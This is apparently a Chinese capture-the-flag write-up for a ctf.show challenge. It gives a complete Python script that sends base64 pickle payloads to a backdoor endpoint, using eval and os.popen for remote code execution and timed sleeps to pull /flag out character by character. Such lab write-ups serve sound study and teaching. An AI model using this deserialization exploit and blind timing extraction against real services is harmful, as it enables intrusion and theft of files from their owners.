当时没有公网IP的服务器,用不了nc,就测试了能不能利用无回显sleep盲打脚本来弹出flag。
先测试了以下sleep 5命令执行成功。
用之前盲打脚本改了一下:
import requests
import time
import string
import pickle
import base64
result=""
str="_-{}"+string.ascii_letters+string.digits #大小写字母和数字
url="http://bb8bc8a0-44fa-4239-b433-9de790a37f54.challenge.ctf.show/backdoor?data="
payload="__import__('os').popen('if [ `cat /flag|cut -c {0}` == {1} ];then sleep 3;fi').read()"
class Rce():
def __init__(self,payload):
self.code=payload
def __reduce__(self):
# print(self.code)
return (eval,(self.code,))
length=50 #length长度
key=0
for j in range(1,length):
if key==1:
break
for n in str:
rser = bytes.decode(base64.b64encode(pickle.dumps(Rce(payload.format(j,n)))))
target=url+rser
# print(target)
try:
requests.get(target,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
# if n=='9':
# key=1